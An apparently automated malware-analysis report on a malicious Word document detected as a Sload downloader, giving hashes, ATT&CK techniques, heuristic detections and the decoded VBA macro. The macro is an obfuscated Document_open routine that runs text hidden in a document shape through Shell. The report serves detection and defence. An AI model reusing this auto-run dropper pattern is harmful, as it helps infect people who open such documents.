Office (OLE) malware analysis — malicious · b4edfbed2ac7531f

MALICIOUS

Office (OLE)

72.8 KB Created: 2018-11-06 16:30:00 Authoring application: Microsoft Office Word First seen: 2019-11-20

MD5: 07eff17f4517376b4b9b31698d083077 SHA-1: 7705c3f8c8cfc0205b90725d43a92ec17ca0ccfb SHA-256: b4edfbed2ac7531fec140ed3abc5162ba08a96a0ef9a4059951daa5fc42e3fa0

212 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a complex PowerShell command. This command decodes and executes a Base64 encoded string, which in turn appears to download and execute a second-stage payload. The presence of `cmd.exe` and `powershell` invocations, along with the `Document_Open` macro, strongly suggests a downloader or dropper functionality.

Heuristics 8

ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
Suspicious cmd.exe invocation with execution flag high SC_STR_CMD

Suspicious cmd.exe invocation with execution flag
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1001 bytes
SHA-256: `7a470984757249e28125b561e558a5a9d1cb0b10ed21ed6110f5c32b35389adc`
Detection ClamAV: No threats found Obfuscation or payload: likely 26 of 49 identifiers look randomly generated (e.g. 'XKKjruSGAC') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "wRwKSaUDD" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next poYGw = (PLjqDq + jrTuBN + EUzUmz + YhrzS / DHAVQ + dkvOm + aFTjrl + GuOUr) YGFph = hwNTrj + LLkIw + wTonjX + knBOsi * hmtEBL + aQJNN * PUzSzE + oskSWS + vtwza + zkZSf Hqdstk = ucqzdB + NJFKXL + zpqFhL + omJRw / WtRWt + zKrst + OXhFO + jICHBn Const XKKjruSGAC = 383684964 - 383684964 Shell@ Shapes(1).TextFrame.TextRange.Text + XDfaVsM + jPnovoCb, XKKjruSGAC SrawY = OPSiL + vntmzv / (FEhrD + OiCwBb / (nOhjzn + fbEUL + aoQma + PRLHk)) hizzj = JNmiFa + bajZnq * (npaFj + fMLLq) CKdMS = CWqjG + mKusi + NjnTa + PWnLW / Gwkckq + OlDIs + HKdnEV + hHXSj / jQzvdq + OaJZJ GShTKm = ffvim + SGRpEs + ZsfCN + nZEvWr * YfRqkV + UNjUMw End Sub

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